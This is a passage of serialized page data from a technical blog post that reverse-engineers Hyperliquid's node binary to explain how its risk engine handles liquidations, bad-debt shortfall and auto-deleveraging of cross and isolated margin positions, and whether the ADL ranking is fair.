view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":156,"props":161484,"children":161486},{"className":161485},[],[161487],{"type":30,"value":161488},"OptionUnitQty",{"type":30,"value":161490},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":33,"props":161492,"children":161493},{},[161494],{"type":30,"value":161495},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":920,"props":161497,"children":161498},{},[161499],{"type":24,"tag":156,"props":161500,"children":161503},{"className":161501},[7098,161502],"math-display",[161504],{"type":24,"tag":930,"props":161505,"children":161508},{"className":161506},[161507],"katex-display",[161509],{"type":24,"tag":930,"props":161510,"children":161512},{"className":161511},[7104],[161513],{"type":24,"tag":930,"props":161514,"children":161516},{"className":161515,"ariaHidden":7110},[7109],[161517,161548],{"type":24,"tag":930,"props":161518,"children":161520},{"className":161519},[7115],[161521,161525,161535,161539,161544],{"type":24,"tag":930,"props":161522,"children":161524},{"className":161523,"style":97525},[7120],[],{"type":24,"tag":930,"props":161526,"children":161528},{"className":161527},[7126,30],[161529],{"type":24,"tag":930,"props":161530,"children":161532},{"className":161531},[7126],[161533],{"type":30,"value":161534},"liq_equity",{"type":24,"tag":930,"props":161536,"children":161538},{"className":161537,"style":7304},[7206],[],{"type":24,"tag":930,"props":161540,"children":161542},{"className":161541},[7309],[161543],{"type":30,"value":1161},{"type":24,"tag":930,"props":161545,"children":161547},{"className":161546,"style":7304},[7206],[],{"type":24,"tag":930,"props":161549,"children":161551},{"className":161550},[7115],[161552,161557],{"type":24,"tag":930,"props":161553,"children":161556},{"className":161554,"style":161555},[7120],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":930,"props":161558,"children":161560},{"className":161559},[7126],[161561,161565,161683],{"type":24,"tag":930,"props":161562,"children":161564},{"className":161563},[24818,115993],[],{"type":24,"tag":930,"props":161566,"children":161568},{"className":161567},[115998],[161569],{"type":24,"tag":930,"props":161570,"children":161572},{"className":161571},[7147,24743],[161573,161671],{"type":24,"tag":930,"props":161574,"children":161576},{"className":161575},[7152],[161577,161666],{"type":24,"tag":930,"props":161578,"children":161581},{"className":161579,"style":161580},[7157],"height:1.427em;",[161582,161622,161633],{"type":24,"tag":930,"props":161583,"children":161585},{"style":161584},"top:-2.314em;",[161586,161590],{"type":24,"tag":930,"props":161587,"children":161589},{"className":161588,"style":114646},[7166],[],{"type":24,"tag":930,"props":161591,"children":161593},{"className":161592},[7126],[161594,161599,161603,161608,161612],{"type":24,"tag":930,"props":161595,"children":161597},{"className":161596},[7126],[161598],{"type":30,"value":6244},{"type":24,"tag":930,"props":161600,"children":161602},{"className":161601,"style":7207},[7206],[],{"type":24,"tag":930,"props":161604,"children":161606},{"className":161605},[7212],[161607],{"type":30,"value":113737},{"type":24,"tag":930,"props":161609,"children":161611},{"className":161610,"style":7207},[7206],[],{"type":24,"tag":930,"props":161613,"children":161615},{"className":161614},[7126,30],[161616],{"type":24,"tag":930,"props":161617,"children":161619},{"className":161618},[7126],[161620],{"type":30,"value":161621},"leverage",{"type":24,"tag":930,"props":161623,"children":161624},{"style":116048},[161625,161629],{"type":24,"tag":930,"props":161626,"children":161628},{"className":161627,"style":114646},[7166],[],{"type":24,"tag":930,"props":161630,"children":161632},{"className":161631,"style":116058},[116057],[],{"type":24,"tag":930,"props":161634,"children":161636},{"style":161635},"top:-3.677em;",[161637,161641],{"type":24,"tag":930,"props":161638,"children":161640},{"className":161639,"style":114646},[7166],[],{"type":24,"tag":930,"props":161642,"children":161644},{"className":161643},[7126],[161645,161651,161661],{"type":24,"tag":930,"props":161646,"children":161648},{"className":161647},[7126],[161649],{"type":30,"value":161650},"∣",{"type":24,"tag":930,"props":161652,"children":161654},{"className":161653},[7126,30],[161655],{"type":24,"tag":930,"props":161656,"children":161658},{"className":161657},[7126],[161659],{"type":30,"value":161660},"notional",{"type":24,"tag":930,"props":161662,"children":161664},{"className":161663},[7126],[161665],{"type":30,"value":161650},{"type":24,"tag":930,"props":161667,"children":161669},{"className":161668},[24846],[161670],{"type":30,"value":24849},{"type":24,"tag":930,"props":161672,"children":161674},{"className":161673},[7152],[161675],{"type":24,"tag":930,"props":161676,"children":161679},{"className":161677,"style":161678},[7157],"height:0.8804em;",[161680],{"type":24,"tag":930,"props":161681,"children":161682},{},[],{"type":24,"tag":930,"props":161684,"children":161686},{"className":161685},[24840,115993],[],{"type":24,"tag":68,"props":161688,"children":161690},{"id":161689},"what-if-nobody-wants-to-buy-the-position",[161691],{"type":30,"value":161692},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":33,"props":161694,"children":161695},{},[161696],{"type":30,"value":161697},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":33,"props":161699,"children":161700},{},[161701,161703,161708],{"type":30,"value":161702},"When that happens, the exchange is basically left with a ",{"type":24,"tag":6032,"props":161704,"children":161705},{},[161706],{"type":30,"value":161707},"hot potato",{"type":30,"value":161709}," to get rid of: what should it even do with the debt?",{"type":24,"tag":25,"props":161711,"children":161713},{"id":161712},"the-risk-engine",[161714],{"type":30,"value":161715},"The Risk Engine",{"type":24,"tag":33,"props":161717,"children":161718},{},[161719],{"type":30,"value":161720},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":68,"props":161722,"children":161724},{"id":161723},"clearing-up-bad-debt",[161725],{"type":30,"value":161726},"Clearing Up Bad Debt",{"type":24,"tag":33,"props":161728,"children":161729},{},[161730,161731,161738],{"type":30,"value":259},{"type":24,"tag":37,"props":161732,"children":161735},{"href":161733,"rel":161734},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[41],[161736],{"type":30,"value":161737},"Hyperliquid docs",{"type":30,"value":161739}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":33,"props":161741,"children":161742},{},[161743,161745,161756,161758,161764,161766,161772],{"type":30,"value":161744},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":37,"props":161746,"children":161749},{"href":161747,"rel":161748},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[41],[161750],{"type":24,"tag":156,"props":161751,"children":161753},{"className":161752},[],[161754],{"type":30,"value":161755},"Clearinghouse",{"type":30,"value":161757},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":156,"props":161759,"children":161761},{"className":161760},[],[161762],{"type":30,"value":161763},"Exchange",{"type":30,"value":161765}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":156,"props":161767,"children":161769},{"className":161768},[],[161770],{"type":30,"value":161771},"MessagePack",{"type":30,"value":161773}," at runtime.",{"type":24,"tag":33,"props":161775,"children":161776},{},[161777],{"type":30,"value":161778},"This data will come in handy both for us and the agent.",{"type":24,"tag":161780,"props":161781,"children":161783},"file-download",{"path":161782},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":33,"props":161785,"children":161786},{},[161787,161789,161794],{"type":30,"value":161788},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":156,"props":161790,"children":161792},{"className":161791},[],[161793],{"type":30,"value":161755},{"type":30,"value":161795},". Some renaming later, we can infer something like this:",{"type":24,"tag":161474,"props":161797,"children":161801},{"source":161798,"target":161799,"direction":161800},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":33,"props":161803,"children":161804},{},[161805,161807,161812,161814,161820],{"type":30,"value":161806},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":156,"props":161808,"children":161810},{"className":161809},[],[161811],{"type":30,"value":161799},{"type":30,"value":161813},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":156,"props":161815,"children":161817},{"className":161816},[],[161818],{"type":30,"value":161819},"exchange_end_block",{"type":30,"value":161821},". So, at the end of each block we run some checks.",{"type":24,"tag":161443,"props":161823,"children":161824},{},[161825],{"type":24,"tag":33,"props":161826,"children":161827},{},[161828],{"type":30,"value":161829},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":33,"props":161831,"children":161832},{},[161833,161835,161841],{"type":30,"value":161834},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":156,"props":161836,"children":161838},{"className":161837},[],[161839],{"type":30,"value":161840},"clearinghouse.perform_auto_deleveraging",{"type":30,"value":161842}," flag.",{"type":24,"tag":161474,"props":161844,"children":161848},{"addr":161845,"line-start":161846,"line-end":161847},"0x555556ac3850","3290","3301",[],{"type":24,"tag":33,"props":161850,"children":161851},{},[161852,161854,161859],{"type":30,"value":161853},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":156,"props":161855,"children":161857},{"className":161856},[],[161858],{"type":30,"value":161755},{"type":30,"value":5347},{"type":24,"tag":151,"props":161861,"children":161863},{"id":161862},"threshold-condition",[161864],{"type":30,"value":161865},"Threshold Condition",{"type":24,"tag":33,"props":161867,"children":161868},{},[161869,161871,161876],{"type":30,"value":161870},"The natural connection between liquidations and ADL is ",{"type":24,"tag":6032,"props":161872,"children":161873},{},[161874],{"type":30,"value":161875},"shortfall",{"type":30,"value":161877},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":33,"props":161879,"children":161880},{},[161881],{"type":30,"value":161882},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":21995,"props":161884,"children":161886},{"id":161885},"who-is-underwater",[161887],{"type":30,"value":161888},"Who Is Underwater?",{"type":24,"tag":33,"props":161890,"children":161891},{},[161892,161894,161899,161901,161907],{"type":30,"value":161893},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":156,"props":161895,"children":161897},{"className":161896},[],[161898],{"type":30,"value":161799},{"type":30,"value":161900},", starting from all user positions, which are stored in ",{"type":24,"tag":156,"props":161902,"children":161904},{"className":161903},[],[161905],{"type":30,"value":161906},"clearinghouse.user_states",{"type":30,"value":161908},", as we can also see from the serialization.",{"type":24,"tag":161443,"props":161910,"children":161911},{},[161912],{"type":24,"tag":33,"props":161913,"children":161914},{},[161915],{"type":30,"value":161916},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":161474,"props":161918,"children":161922},{"source":161919,"target":161819,"direction":161920,"path":161921},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":33,"props":161924,"children":161925},{},[161926,161927,161932,161934,161940,161942,161948,161950,161956],{"type":30,"value":259},{"type":24,"tag":156,"props":161928,"children":161930},{"className":161929},[],[161931],{"type":30,"value":161919},{"type":30,"value":161933}," essentially turns that into an ",{"type":24,"tag":156,"props":161935,"children":161937},{"className":161936},[],[161938],{"type":30,"value":161939},"Iter",{"type":30,"value":161941},", then, inside of ",{"type":24,"tag":156,"props":161943,"children":161945},{"className":161944},[],[161946],{"type":30,"value":161947},"build_adl_candidate_set",{"type":30,"value":161949}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":156,"props":161951,"children":161953},{"className":161952},[],[161954],{"type":30,"value":161955},"AdlIterEntry",{"type":30,"value":61415},{"type":24,"tag":161474,"props":161958,"children":161960},{"type-name":161959},"AdlIterContext",[],{"type":24,"tag":33,"props":161962,"children":161963},{},[161964,161966,161972,161974,161980,161982,161988,161990,161995],{"type":30,"value":161965},"Note that in storage, ",{"type":24,"tag":156,"props":161967,"children":161969},{"className":161968},[],[161970],{"type":30,"value":161971},"Isolated",{"type":30,"value":161973}," positions have their own independent ",{"type":24,"tag":156,"props":161975,"children":161977},{"className":161976},[],[161978],{"type":30,"value":161979},"Entry",{"type":30,"value":161981}," in the position iterators, and ",{"type":24,"tag":156,"props":161983,"children":161985},{"className":161984},[],[161986],{"type":30,"value":161987},"Cross",{"type":30,"value":161989}," positions have a single common ",{"type":24,"tag":156,"props":161991,"children":161993},{"className":161992},[],[161994],{"type":30,"value":161979},{"type":30,"value":161996},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":161474,"props":161998,"children":162001},{"addr":161999,"line-start":47345,"line-end":162000},"0x555556266b10","163",[],{"type":24,"tag":33,"props":162003,"children":162004},{},[162005],{"type":30,"value":162006},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":161474,"props":162008,"children":162011},{"addr":161845,"line-start":162009,"line-end":162010},"506","527",[],{"type":24,"tag":33,"props":162013,"children":162014},{},[162015,162017],{"type":30,"value":162016},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":162018,"props":162019,"children":162022},"bndb-xref",{"lines":162020,"addrs":162021},"1-2","0x555556ac3e18-0x555556ac3e18",[162023],{"type":30,"value":162024},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":33,"props":162026,"children":162027},{},[162028,162030,162036,162038,162044,162046,162052,162054,162060],{"type":30,"value":162029},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":156,"props":162031,"children":162033},{"className":162032},[],[162034],{"type":30,"value":162035},"only_isolated",{"type":30,"value":162037}," (or ",{"type":24,"tag":156,"props":162039,"children":162041},{"className":162040},[],[162042],{"type":30,"value":162043},"strict_isolated",{"type":30,"value":162045}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":156,"props":162047,"children":162049},{"className":162048},[],[162050],{"type":30,"value":162051},"deferred_queue",{"type":30,"value":162053},", which triggers ADL regardless of the system's ",{"type":24,"tag":156,"props":162055,"children":162057},{"className":162056},[],[162058],{"type":30,"value":162059},"total_shortfall",{"type":30,"value":162061},". This is dictated by this branch.",{"type":24,"tag":161474,"props":162063,"children":162066},{"addr":161845,"line-start":162064,"line-end":162065},"211","243",[],{"type":24,"tag":33,"props":162068,"children":162069},{},[162070,162072,162079],{"type":30,"value":162071},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":37,"props":162073,"children":162076},{"href":162074,"rel":162075},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[41],[162077],{"type":30,"value":162078},"March 2025 incident",{"type":30,"value":162080},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":21995,"props":162082,"children":162084},{"id":162083},"how-do-we-get-rid-of-debt",[162085],{"type":30,"value":162086},"How Do We Get Rid of Debt?",{"type":24,"tag":33,"props":162088,"children":162089},{},[162090],{"type":30,"value":162091},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":33,"props":162093,"children":162094},{},[162095,162097,162102,162104,162109,162111,162116],{"type":30,"value":162096},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":156,"props":162098,"children":162100},{"className":162099},[],[162101],{"type":30,"value":162051},{"type":30,"value":162103}," is overwritten by all the users marked by ",{"type":24,"tag":156,"props":162105,"children":162107},{"className":162106},[],[162108],{"type":30,"value":161947},{"type":30,"value":162110},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":156,"props":162112,"children":162114},{"className":162113},[],[162115],{"type":30,"value":162043},{"type":30,"value":162117}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":161443,"props":162119,"children":162120},{},[162121],{"type":24,"tag":33,"props":162122,"children":162123},{},[162124],{"type":30,"value":162125},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":161474,"props":162127,"children":162130},{"addr":161845,"line-start":162128,"line-end":162129},"523","526",[],{"type":24,"tag":33,"props":162132,"children":162133},{},[162134,162136,162142,162144,162150,162152,162157],{"type":30,"value":162135},"For each underwater position, we do a ",{"type":24,"tag":162018,"props":162137,"children":162139},{"addrs":162138},"0x555556ac42ad-0x555556ac42be",[162140],{"type":30,"value":162141},"B-tree lookup",{"type":30,"value":162143}," on ",{"type":24,"tag":156,"props":162145,"children":162147},{"className":162146},[],[162148],{"type":30,"value":162149},"clearinghouse.user_states[position.user]",{"type":30,"value":162151},", adding them to a ",{"type":24,"tag":156,"props":162153,"children":162155},{"className":162154},[],[162156],{"type":30,"value":20312},{"type":30,"value":162158}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":161474,"props":162160,"children":162163},{"addr":161845,"line-start":162161,"line-end":162162},"635","658",[],{"type":24,"tag":33,"props":162165,"children":162166},{},[162167],{"type":30,"value":162168},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":920,"props":162170,"children":162171},{},[162172],{"type":24,"tag":156,"props":162173,"children":162175},{"className":162174},[7098,161502],[162176],{"type":24,"tag":930,"props":162177,"children":162179},{"className":162178},[161507],[162180],{"type":24,"tag":930,"props":162181,"children":162183},{"className":162182},[7104],[162184],{"type":24,"tag":930,"props":162185,"children":162187},{"className":162186,"ariaHidden":7110},[7109],[162188],{"type":24,"tag":930,"props":162189,"children":162191},{"className":162190},[7115],[162192,162197],{"type":24,"tag":930,"props":162193,"children":162196},{"className":162194,"style":162195},[7120],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":930,"props":162198,"children":162200},{"className":162199},[7126],[162201],{"type":24,"tag":930,"props":162202,"children":162205},{"className":162203},[162204],"mtable",[162206,162286],{"type":24,"tag":930,"props":162207,"children":162210},{"className":162208},[162209],"col-align-r",[162211],{"type":24,"tag":930,"props":162212,"children":162214},{"className":162213},[7147,24743],[162215,162274],{"type":24,"tag":930,"props":162216,"children":162218},{"className":162217},[7152],[162219,162269],{"type":24,"tag":930,"props":162220,"children":162223},{"className":162221,"style":162222},[7157],"height:2.3452em;",[162224,162247],{"type":24,"tag":930,"props":162225,"children":162227},{"style":162226},"top:-4.3452em;",[162228,162233],{"type":24,"tag":930,"props":162229,"children":162232},{"className":162230,"style":162231},[7166],"height:3.3944em;",[],{"type":24,"tag":930,"props":162234,"children":162236},{"className":162235},[7126],[162237],{"type":24,"tag":930,"props":162238,"children":162240},{"className":162239},[7126,30],[162241],{"type":24,"tag":930,"props":162242,"children":162244},{"className":162243},[7126],[162245],{"type":30,"value":162246},"position_weight",{"type":24,"tag":930,"props":162248,"children":162250},{"style":162249},"top:-2.2092em;",[162251,162255],{"type":24,"tag":930,"props":162252,"children":162254},{"className":162253,"style":162231},[7166],[],{"type":24,"tag":930,"props":162256,"children":162258},{"className":162257},[7126],[162259],{"type":24,"tag":930,"props":162260,"children":162262},{"className":162261},[7126,30],[162263],{"type":24,"tag":930,"props":162264,"children":162266},{"className":162265},[7126],[162267],{"type":30,"value":162268},"position_adl_amount",{"type":24,"tag":930,"props":162270,"children":162272},{"className":162271},[24846],[162273],{"type":30,"value":24849},{"type":24,"tag":930,"props":162275,"children":162277},{"className":162276},[7152],[162278],{"type":24,"tag":930,"props":162279,"children":162282},{"className":162280,"style":162281},[7157],"height:1.8452em;",[162283],{"type":24,"tag":930,"props":162284,"children":162285},{},[],{"type":24,"tag":930,"props":162287,"children":162290},{"className":162288},[162289],"col-align-l",[162291],{"type":24,"tag":930,"props":162292,"children":162294},{"className":162293},[7147,24743],[162295,162496],{"type":24,"tag":930,"props":162296,"children":162298},{"className":162297},[7152],[162299,162491],{"type":24,"tag":930,"props":162300,"children":162302},{"className":162301,"style":162222},[7157],[162303,162431],{"type":24,"tag":930,"props":162304,"children":162305},{"style":162226},[162306,162310],{"type":24,"tag":930,"props":162307,"children":162309},{"className":162308,"style":162231},[7166],[],{"type":24,"tag":930,"props":162311,"children":162313},{"className":162312},[7126],[162314,162318,162322,162327,162331],{"type":24,"tag":930,"props":162315,"children":162317},{"className":162316},[7126],[],{"type":24,"tag":930,"props":162319,"children":162321},{"className":162320,"style":7304},[7206],[],{"type":24,"tag":930,"props":162323,"children":162325},{"className":162324},[7309],[162326],{"type":30,"value":1161},{"type":24,"tag":930,"props":162328,"children":162330},{"className":162329,"style":7304},[7206],[],{"type":24,"tag":930,"props":162332,"children":162334},{"className":162333},[7126],[162335,162339,162427],{"type":24,"tag":930,"props":162336,"children":162338},{"className":162337},[24818,115993],[],{"type":24,"tag":930,"props":162340,"children":162342},{"className":162341},[115998],[162343],{"type":24,"tag":930,"props":162344,"children":162346},{"className":162345},[7147,24743],[162347,162415],{"type":24,"tag":930,"props":162348,"children":162350},{"className":162349},[7152],[162351,162410],{"type":24,"tag":930,"props":162352,"children":162355},{"className":162353,"style":162354},[7157],"height:1.3944em;",[162356,162377,162388],{"type":24,"tag":930,"props":162357,"children":162358},{"style":161584},[162359,162363],{"type":24,"tag":930,"props":162360,"children":162362},{"className":162361,"style":114646},[7166],[],{"type":24,"tag":930,"props":162364,"children":162366},{"className":162365},[7126],[162367],{"type":24,"tag":930,"props":162368,"children":162370},{"className":162369},[7126,30],[162371],{"type":24,"tag":930,"props":162372,"children":162374},{"className":162373},[7126],[162375],{"type":30,"value":162376},"total_cross_notional",{"type":24,"tag":930,"props":162378,"children":162379},{"style":116048},[162380,162384],{"type":24,"tag":930,"props":162381,"children":162383},{"className":162382,"style":114646},[7166],[],{"type":24,"tag":930,"props":162385,"children":162387},{"className":162386,"style":116058},[116057],[],{"type":24,"tag":930,"props":162389,"children":162391},{"style":162390},"top:-3.7em;",[162392,162396],{"type":24,"tag":930,"props":162393,"children":162395},{"className":162394,"style":114646},[7166],[],{"type":24,"tag":930,"props":162397,"children":162399},{"className":162398},[7126],[162400],{"type":24,"tag":930,"props":162401,"children":162403},{"className":162402},[7126,30],[162404],{"type":24,"tag":930,"props":162405,"children":162407},{"className":162406},[7126],[162408],{"type":30,"value":162409},"position_notional",{"type":24,"tag":930,"props":162411,"children":162413},{"className":162412},[24846],[162414],{"type":30,"value":24849},{"type":24,"tag":930,"props":162416,"children":162418},{"className":162417},[7152],[162419],{"type":24,"tag":930,"props":162420,"children":162423},{"className":162421,"style":162422},[7157],"height:0.996em;",[162424],{"type":24,"tag":930,"props":162425,"children":162426},{},[],{"type":24,"tag":930,"props":162428,"children":162430},{"className":162429},[24840,115993],[],{"type":24,"tag":930,"props":162432,"children":162433},{"style":162249},[162434,162438],{"type":24,"tag":930,"props":162435,"children":162437},{"className":162436,"style":162231},[7166],[],{"type":24,"tag":930,"props":162439,"children":162441},{"className":162440},[7126],[162442,162446,162450,162455,162459,162469,162473,162478,162482],{"type":24,"tag":930,"props":162443,"children":162445},{"className":162444},[7126],[],{"type":24,"tag":930,"props":162447,"children":162449},{"className":162448,"style":7304},[7206],[],{"type":24,"tag":930,"props":162451,"children":162453},{"className":162452},[7309],[162454],{"type":30,"value":1161},{"type":24,"tag":930,"props":162456,"children":162458},{"className":162457,"style":7304},[7206],[],{"type":24,"tag":930,"props":162460,"children":162462},{"className":162461},[7126,30],[162463],{"type":24,"tag":930,"props":162464,"children":162466},{"className":162465},[7126],[162467],{"type":30,"value":162468},"user_shortfall",{"type":24,"tag":930,"props":162470,"children":162472},{"className":162471,"style":7207},[7206],[],{"type":24,"tag":930,"props":162474,"children":162476},{"className":162475},[7212],[162477],{"type":30,"value":113737},{"type":24,"tag":930,"props":162479,"children":162481},{"className":162480,"style":7207},[7206],[],{"type":24,"tag":930,"props":162483,"children":162485},{"className":162484},[7126,30],[162486],{"type":24,"tag":930,"props":162487,"children":162489},{"className":162488},[7126],[162490],{"type":30,"value":162246},{"type":24,"tag":930,"props":162492,"children":162494},{"className":162493},[24846],[162495],{"type":30,"value":24849},{"type":24,"tag":930,"props":162497,"children":162499},{"className":162498},[7152],[162500],{"type":24,"tag":930,"props":162501,"children":162503},{"className":162502,"style":162281},[7157],[162504],{"type":24,"tag":930,"props":162505,"children":162506},{},[],{"type":24,"tag":33,"props":162508,"children":162509},{},[162510],{"type":30,"value":162511},"We do that here:",{"type":24,"tag":161474,"props":162513,"children":162516},{"addr":161845,"line-start":162514,"line-end":162515},"828","981",[],{"type":24,"tag":33,"props":162518,"children":162519},{},[162520,162521,162527,162529,162535],{"type":30,"value":259},{"type":24,"tag":162018,"props":162522,"children":162524},{"lines":162523},"77-79",[162525],{"type":30,"value":162526},"inner loop",{"type":30,"value":162528}," above spans all ",{"type":24,"tag":156,"props":162530,"children":162532},{"className":162531},[],[162533],{"type":30,"value":162534},"(asset_idx, direction)",{"type":30,"value":162536}," held in the cross margin position.",{"type":24,"tag":33,"props":162538,"children":162539},{},[162540,162542,162548,162550,162556,162557,162563],{"type":30,"value":162541},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":156,"props":162543,"children":162545},{"className":162544},[],[162546],{"type":30,"value":162547},"adl_output",{"type":30,"value":162549}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":24,"tag":156,"props":162551,"children":162553},{"className":162552},[],[162554],{"type":30,"value":162555},"position_id",{"type":30,"value":211},{"type":24,"tag":156,"props":162558,"children":162560},{"className":162559},[],[162561],{"type":30,"value":162562},"position_shortfall",{"type":30,"value":436},{"type":24,"tag":161474,"props":162565,"children":162568},{"addr":161845,"line-start":162566,"line-end":162567},"2377","2469",[],{"type":24,"tag":33,"props":162570,"children":162571},{},[162572,162574,162580],{"type":30,"value":162573},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":156,"props":162575,"children":162577},{"className":162576},[],[162578],{"type":30,"value":162579},"(position_id, cut)",{"type":30,"value":162581},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":33,"props":162583,"children":162584},{},[162585,162587,162592],{"type":30,"value":162586},"The final phase of ",{"type":24,"tag":156,"props":162588,"children":162590},{"className":162589},[],[162591],{"type":30,"value":161799},{"type":30,"value":162593}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":161474,"props":162595,"children":162598},{"addr":161845,"addr-start":162596,"addr-end":162597},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":33,"props":162600,"children":162601},{},[162602],{"type":30,"value":162603},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":25,"props":162605,"children":162607},{"id":162606},"who-do-we-deleverage",[162608],{"type":30,"value":162609},"Who Do We Deleverage?",{"type":24,"tag":33,"props":162611,"children":162612},{},[162613],{"type":30,"value":162614},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":33,"props":162616,"children":162617},{},[162618],{"type":30,"value":162619},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":33,"props":162621,"children":162622},{},[162623,162625,162632],{"type":30,"value":162624},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":37,"props":162626,"children":162629},{"href":162627,"rel":162628},"https://arxiv.org/abs/2512.01112",[41],[162630],{"type":30,"value":162631},"this paper",{"type":30,"value":162633},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":33,"props":162635,"children":162636},{},[162637],{"type":30,"value":162638},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":68,"props":162640,"children":162642},{"id":162641},"adl-score-computation",[162643],{"type":30,"value":162644},"ADL Score Computation",{"type":24,"tag":33,"props":162646,"children":162647},{},[162648,162650,162656,162658,162664,162666,162671],{"type":30,"value":162649},"The score function at ",{"type":24,"tag":156,"props":162651,"children":162653},{"className":162652},[],[162654],{"type":30,"value":162655},"compute_adl_ranking_score",{"type":30,"value":162657}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":156,"props":162659,"children":162661},{"className":162660},[],[162662],{"type":30,"value":162663},"Ord",{"type":30,"value":162665}," implementation on some 20-byte address representation. A ",{"type":24,"tag":156,"props":162667,"children":162669},{"className":162668},[],[162670],{"type":30,"value":20312},{"type":30,"value":162672}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":33,"props":162674,"children":162675},{},[162676,162678,162683,162685,162691,162693,162700,162702,162709],{"type":30,"value":162677},"Those sort routines are ",{"type":24,"tag":6032,"props":162679,"children":162680},{},[162681],{"type":30,"value":162682},"generated by the compiler",{"type":30,"value":162684},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":156,"props":162686,"children":162688},{"className":162687},[],[162689],{"type":30,"value":162690},".comment",{"type":30,"value":162692},", we may even manually ",{"type":24,"tag":37,"props":162694,"children":162697},{"href":162695,"rel":162696},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[41],[162698],{"type":30,"value":162699},"take advantage",{"type":30,"value":162701}," of this to recover the 